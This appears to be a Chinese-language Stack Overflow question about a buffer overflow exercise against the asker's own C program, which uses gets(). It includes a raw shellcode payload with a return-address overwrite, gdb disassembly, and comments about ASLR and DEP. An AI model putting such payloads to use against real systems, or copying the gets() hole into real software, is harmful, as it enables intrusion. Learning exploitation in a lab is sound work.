【发布时间】:2014-09-28 09:47:20
【问题描述】:
我正在尝试将 shellcode 注入到我制作的接受用户输入的基本程序中。我的问题是,即使我已经正确排列了我的 shellcode,以便我能够重写堆栈中的返回地址,但正确的地址并没有存储在那个位置。我打印了我的 shellcode,然后是一些计算的填充,然后是我的 shellcode 在堆栈上的位置。
$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41
\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80
\xf4%025x\x5e\xf3\xff\xbf" | ./victim
我试图覆盖返回地址的地址是 0xbffff35e。然而,当我在 gdb 中运行它时,它会出现段错误,因为“5e”部分没有正确编码到我的堆栈中。
我在 gdb 中得到了这个:
Program terminated with signal 11, Segmentation fault.
#0 0xbffff365 in ?? ()
我的程序应该在 0xbffff35e 处执行指令,但它被写入了“65”,而不是“5e”字节应该在的位置。我正确使用了十六进制格式说明符,为什么会发生这种情况?除了 \x5e 十六进制字节
之外,其他所有字节似乎都正确写入编辑: 这是我的受害者的代码。我要做的就是注入 shellcode,以便它打印出“ACCEPTED”,而不是到达打印“DENIED”的下一行
void getPass() {
char password[50];
gets(password);
}
int main() {
printf("Please enter your password: \n");
getPass();
printf("PASSWORD DENIED\n");
return 0;
}
我的受害者代码的反汇编
(gdb) disas getPass
Dump of assembler code for function getPass:
0x080482bc <+0>: push %ebp
0x080482bd <+1>: mov %esp,%ebp
0x080482bf <+3>: sub $0x58,%esp
0x080482c2 <+6>: lea -0x3a(%ebp),%eax
0x080482c5 <+9>: mov %eax,(%esp)
0x080482c8 <+12>: call 0x8049370 <gets>
0x080482cd <+17>: leave
0x080482ce <+18>: ret
(gdb) disas main
Dump of assembler code for function main:
0x080482cf <+0>: push %ebp
0x080482d0 <+1>: mov %esp,%ebp
0x080482d2 <+3>: and $0xfffffff0,%esp
0x080482d5 <+6>: sub $0x10,%esp
0x080482d8 <+9>: movl $0x80b314c,(%esp)
0x080482df <+16>: call 0x8049510 <puts>
0x080482e4 <+21>: call 0x80482bc <getPass>
0x080482e9 <+26>: movl $0x80b3169,(%esp)
0x080482f0 <+33>: call 0x8049510 <puts>
0x080482f5 <+38>: mov $0x0,%eax
0x080482fa <+43>: leave
0x080482fb <+44>: ret
【问题讨论】:
-
大多数 shellcode 都利用了未定义的行为。这样做的问题是它仍然是未定义的行为,并且除非为特定版本的“受害者”程序制作shellcode,否则它将无法工作。即使是受害者程序的重建也可能导致漏洞利用停止工作。
-
您是否尝试在 SE(安全增强)版本的 Linux 上运行它?如果是这样,你永远不会成功。堆栈位置是随机的。
-
不,我已经禁用了 ASLR 和 DEP。我已经完成了其他类似的缓冲区溢出漏洞利用,这些漏洞利用我现在的设置。只是这种情况似乎不起作用。
-
哦,好的。
./victim是做什么的? -
@BasileStarynkevitch 这个问题的重点是使用过时的
gets
标签: c printf exploit shellcode format-specifiers